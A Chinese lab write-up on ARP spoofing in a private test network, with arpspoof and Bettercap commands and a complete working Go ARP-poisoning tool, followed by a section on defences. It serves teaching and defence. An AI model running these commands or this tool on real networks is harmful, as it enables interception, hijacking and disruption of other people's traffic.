ARP 毒化欺骗
整理 ARP 欺骗原理、影响、检测方法与局域网防护手段。
1. 实验概述
1.1 实验目的
本实验旨在演示ARP欺骗/毒化攻击的原理与实施过程,通过实际操作理解ARP协议的安全漏洞,并尝试使用不同工具及手动编写程序实现ARP欺骗攻击。
1.2 实验原理
ARP(Address Resolution Protocol)协议用于将IP地址解析为MAC地址,但其设计缺乏安全验证机制。攻击者通过发送伪造的ARP响应包,篡改目标主机的ARP缓存表,实现中间人攻击或网络流量劫持。
2. 实验环境
| 设备类型 | 操作系统 | IP地址 | MAC地址 | 角色说明 |
|---|---|---|---|---|
| 攻击机 | Kali Linux | 192.168.73.131 | 00:0C:29:XX:XX:XX | 攻击方 |
| 靶机 | Ubuntu | 192.168.73.128 | 00:0C:29:YY:YY:YY | 受害方 |
| 网关 | - | 192.168.73.2 | 00:50:56:ZZ:ZZ:ZZ | 路由设备 |
注:实际MAC地址已用XX/YY/ZZ替代以保护隐私
3. 实验步骤
3.1 环境准备与信息收集
3.1.1 查询网关IP和MAC地址
在攻击机上使用arp -n命令查询网关信息:
arp -n

3.1.2 扫描获取靶机IP地址
方法一:使用arp-scan命令
arp-scan -l

方法二:使用nmap扫描
nmap -sn 192.168.73.0/24

两种方法均发现未知主机192.168.73.128,确定为本次实验目标靶机。
3.2 使用现有工具进行ARP欺骗
3.2.1 使用arpspoof工具
安装工具:
sudo apt-get install dsniff
实施攻击:
# 对靶机进行ARP欺骗,声称攻击机是网关
arpspoof -i eth0 -t 192.168.73.128 192.168.73.2
# 对网关进行ARP欺骗,声称攻击机是靶机
arpspoof -i eth0 -t 192.168.73.2 192.168.73.128

验证攻击效果:
在靶机上执行arp -a命令,发现网关的MAC地址已被篡改为攻击机的MAC地址:

防止靶机断网: 由于攻击机默认不转发数据包,会导致靶机断网,需要启用IP转发功能:
echo 1 > /proc/sys/net/ipv4/ip_forward
3.2.2 使用Bettercap工具
安装工具:
sudo apt update
sudo apt install bettercap
实施攻击:
# 进入Bettercap交互界面
sudo bettercap
# 在Bettercap环境中设置并启动ARP欺骗
set arp.spoof.targets 192.168.73.128
arp.spoof on

Bettercap功能更为强大,集成了多种中间人攻击模块,可作为综合性攻击平台使用。
3.3 手动构建ARP欺骗工具
本节使用Go语言和gopacket库手动编写ARP欺骗工具,深入理解ARP协议和攻击原理。
3.3.1 环境准备
Windows系统需要安装:
- npcap 或 winpcap
Linux系统需要安装:
- libpcap库
安装Go依赖包:
go get -u github.com/google/gopacket
go get -u github.com/google/gopacket/layers
3.3.2 核心代码实现
1. 发送伪造ARP响应函数
// sendARPResponse 发送伪造的ARP响应包
// 参数说明:
// handle: pcap句柄,用于发送数据包
// sourceIP: 伪造的源IP地址(声称的IP)
// sourceMAC: 伪造的源MAC地址(攻击机MAC)
// dstIP: 目标IP地址(接收方IP)
// dstMAC: 目标MAC地址(接收方MAC,可为广播地址)
func sendARPResponse(handle *pcap.Handle,
sourceIP net.IP, sourceMAC net.HardwareAddr,
dstIP net.IP, dstMAC net.HardwareAddr) error {
// 如果目的MAC为空,设置为广播地址
if dstMAC == nil {
dstMAC = net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}
}
// 构建以太网帧头部
ethernetLayer := &layers.Ethernet{
SrcMAC: sourceMAC,
DstMAC: dstMAC,
EthernetType: layers.EthernetTypeARP, // 指定上层协议为ARP
}
// 构建ARP层数据
arpLayer := &layers.ARP{
AddrType: layers.LinkTypeEthernet, // 硬件类型:以太网
Protocol: layers.EthernetTypeIPv4, // 协议类型:IPv4
HwAddressSize: 6, // MAC地址长度
ProtAddressSize: 4, // IP地址长度
Operation: layers.ARPReply, // 操作类型:ARP响应
SourceHwAddress: sourceMAC, // 源MAC地址(伪造)
SourceProtAddress: sourceIP.To4(), // 源IP地址(伪造)
DstHwAddress: dstMAC, // 目标MAC地址
DstProtAddress: dstIP.To4(), // 目标IP地址
}
// 设置序列化选项
opts := gopacket.SerializeOptions{
FixLengths: true, // 自动修正长度字段
ComputeChecksums: true, // 自动计算校验和
}
// 序列化数据包
buffer := gopacket.NewSerializeBuffer()
err := gopacket.SerializeLayers(buffer, opts, ethernetLayer, arpLayer)
if err != nil {
return fmt.Errorf("序列化失败,err:%s", err.Error())
}
// 发送数据包
err = handle.WritePacketData(buffer.Bytes())
if err != nil {
return fmt.Errorf("数据发送失败,err:%s", err.Error())
}
return nil
}
2. 发送ARP请求函数
// sendARPRequest 发送ARP请求包,用于探测目标MAC地址
// 参数说明:
// handle: pcap句柄
// iface: 网络接口信息
// targetIP: 要探测的目标IP地址
func sendARPRequest(handle *pcap.Handle, iface *net.Interface, targetIP net.IP) error {
// 获取本机IP和MAC地址
var sourceIP net.IP
addrs, err := iface.Addrs()
if err != nil {
return fmt.Errorf("获取ip失败,err:%s", err.Error())
}
// 遍历网络接口地址,找到IPv4地址
for _, addr := range addrs {
if ip, ok := addr.(*net.IPNet); ok && !ip.IP.IsLoopback() {
if ip.IP.To4() != nil {
sourceIP = ip.IP.To4()
break
}
}
}
sourceMAC := iface.HardwareAddr
dstMAC := net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff} // 广播地址
// 构建以太网帧
ethernetLayer := &layers.Ethernet{
SrcMAC: sourceMAC,
DstMAC: dstMAC,
EthernetType: layers.EthernetTypeARP,
}
// 构建ARP请求包
arpLayer := &layers.ARP{
AddrType: layers.LinkTypeEthernet,
Protocol: layers.EthernetTypeIPv4,
Operation: layers.ARPRequest, // 操作类型:ARP请求
HwAddressSize: 6,
ProtAddressSize: 4,
SourceHwAddress: sourceMAC, // 本机MAC地址
SourceProtAddress: sourceIP.To4(), // 本机IP地址
DstHwAddress: dstMAC, // 目标MAC地址(广播)
DstProtAddress: targetIP.To4(), // 要解析的目标IP地址
}
// 序列化并发送数据包
opts := gopacket.SerializeOptions{
FixLengths: true,
ComputeChecksums: true,
}
buffer := gopacket.NewSerializeBuffer()
err = gopacket.SerializeLayers(buffer, opts, ethernetLayer, arpLayer)
if err != nil {
return fmt.Errorf("序列化错误,err:%s", err.Error())
}
err = handle.WritePacketData(buffer.Bytes())
if err != nil {
return fmt.Errorf("数据包发送错误,err:%s", err.Error())
}
return nil
}
3. 获取MAC地址功能
// getMACFromARPCache 从系统ARP缓存中读取MAC地址
func getMACFromARPCache(device string, targetIP net.IP) (net.HardwareAddr, error) {
// 读取Linux系统ARP表(/proc/net/arp)
file, err := os.Open("/proc/net/arp")
if err != nil {
return nil, fmt.Errorf("打开文件失败: %v", err)
}
defer file.Close()
scanner := bufio.NewScanner(file)
scanner.Scan() // 跳过标题行
for scanner.Scan() {
line := scanner.Text()
fields := strings.Fields(line)
if len(fields) >= 6 {
// 检查设备名称和IP地址是否匹配
if fields[5] == device && fields[0] == targetIP.String() {
return net.ParseMAC(fields[3]) // 解析MAC地址字段
}
}
}
return nil, nil
}
// getMAC 获取目标IP的MAC地址
// 先尝试从ARP缓存读取,若无则发送ARP请求探测
func getMAC(handle *pcap.Handle, device string, iface *net.Interface, targetIP net.IP) (net.HardwareAddr, error) {
// 首先尝试从ARP缓存获取
mac, err := getMACFromARPCache(device, targetIP)
if err != nil {
return nil, err
}
if mac != nil {
return mac, nil
}
// 缓存中没有,发送ARP请求探测
err = sendARPRequest(handle, iface, targetIP)
if err != nil {
return nil, err
}
// 设置5秒超时
timeout := time.After(time.Second * 5)
// 捕获ARP响应包
source := gopacket.NewPacketSource(handle, handle.LinkType())
for {
select {
case packet := <-source.Packets():
arpLayer := packet.Layer(layers.LayerTypeARP)
if arpLayer != nil {
arp := arpLayer.(*layers.ARP)
fmt.Printf("收到ARP包,源IP: %s, 目标IP: %s\n",
net.IP(arp.SourceProtAddress), targetIP)
// 检查是否为目标IP的响应
if net.IP(arp.SourceProtAddress).Equal(targetIP) {
return arp.SourceHwAddress, nil
}
}
case <-timeout:
return nil, errors.New("获取MAC地址超时")
}
}
}
4. 主函数
func main() {
// 参数验证
if len(os.Args) != 4 {
fmt.Printf("用法: %s <网络接口> <目标IP> <网关IP>\n", os.Args[0])
fmt.Printf("示例: %s eth0 192.168.1.100 192.168.1.1\n", os.Args[0])
os.Exit(1)
}
// 解析命令行参数
device := os.Args[1]
target := os.Args[2]
gateway := os.Args[3]
// 打开网络设备
handle, err := pcap.OpenLive(device, 65536, true, pcap.BlockForever)
if err != nil {
log.Fatalf("无法打开设备%s,error:%s", device, err.Error())
}
defer handle.Close()
// 获取网络接口信息
iface, err := net.InterfaceByName(device)
if err != nil {
log.Fatalf("无法获取自身信息,error:%s", err.Error())
}
// 解析IP地址
targetIP := net.ParseIP(target)
gatewayIP := net.ParseIP(gateway)
// 获取目标MAC地址
targetMAC, err := getMAC(handle, device, iface, targetIP)
if err != nil {
log.Fatalf("获取目标mac失败,error:%s", err.Error())
}
// 获取网关MAC地址
gatewayMAC, err := getMAC(handle, device, iface, gatewayIP)
if err != nil {
log.Fatalf("获取网关mac失败,error:%s", err.Error())
}
// 打印攻击信息
fmt.Printf("开始ARP欺骗:\n")
fmt.Printf(" 接口: %s (%s)\n", device, iface.HardwareAddr)
fmt.Printf(" 目标: %s (%s)\n", target, targetMAC)
fmt.Printf(" 网关: %s (%s)\n", gateway, gatewayMAC)
// 设置信号处理,用于优雅退出
signalChan := make(chan os.Signal, 1)
signal.Notify(signalChan, os.Interrupt, syscall.SIGTERM)
// 每2秒发送一次ARP欺骗包
ticker := time.NewTicker(time.Second * 2)
defer ticker.Stop()
// 主循环
for {
select {
case <-ticker.C:
// 向目标发送伪造的ARP响应,声称网关MAC是攻击机MAC
err = sendARPResponse(handle, gatewayIP, iface.HardwareAddr, targetIP, targetMAC)
if err != nil {
log.Printf("发送ARP响应失败: %s", err.Error())
}
// 向网关发送伪造的ARP响应,声称目标MAC是攻击机MAC
err = sendARPResponse(handle, targetIP, iface.HardwareAddr, gatewayIP, gatewayMAC)
if err != nil {
log.Printf("发送ARP响应失败: %s", err.Error())
}
case <-signalChan:
fmt.Printf("\n正在停止攻击并恢复ARP表...")
// 发送正确的ARP响应恢复靶机ARP表
err = sendARPResponse(handle, gatewayIP, gatewayMAC, targetIP, targetMAC)
if err != nil {
log.Printf("恢复ARP表失败: %s", err.Error())
}
// 发送正确的ARP响应恢复网关ARP表
err = sendARPResponse(handle, targetIP, targetMAC, gatewayIP, gatewayMAC)
if err != nil {
log.Printf("恢复ARP表失败: %s", err.Error())
}
fmt.Println("已停止攻击")
return
}
}
}
3.3.3 工具使用与效果验证
编译工具:
go build -o arpspoofer main.go
执行攻击:
sudo ./arpspoofer eth0 192.168.73.128 192.168.73.2

攻击前靶机ARP表:

攻击后靶机ARP表:

对比可见,攻击后靶机的ARP表中网关的MAC地址已被篡改为攻击机的MAC地址,证明ARP欺骗成功。
4. 实验分析与防御建议
4.1 实验分析
本次实验成功演示了ARP欺骗攻击的完整过程:
- 通过ARP扫描发现目标设备
- 使用现成工具和自定义工具实现ARP欺骗
- 验证了ARP缓存投毒的效果
- 实现了双向欺骗(靶机与网关)
4.2 ARP欺骗的危害
- 中间人攻击:攻击者可拦截、窃取或篡改通信数据
- 网络监听:获取网络中的敏感信息
- 服务拒绝:通过ARP欺骗导致网络连接中断
- 会话劫持:接管已建立的网络会话
4.3 防御措施
-
静态ARP绑定:将重要IP和MAC地址绑定,防止篡改
arp -s 192.168.73.2 00:50:56:ZZ:ZZ:ZZ -
网络监控:使用ARP监控工具检测异常ARP活动
arpwatch -i eth0 -
网络分段:使用VLAN等技术减少ARP广播域
-
加密通信:使用SSL/TLS等加密协议保护数据传输
-
端口安全:交换机端口绑定特定MAC地址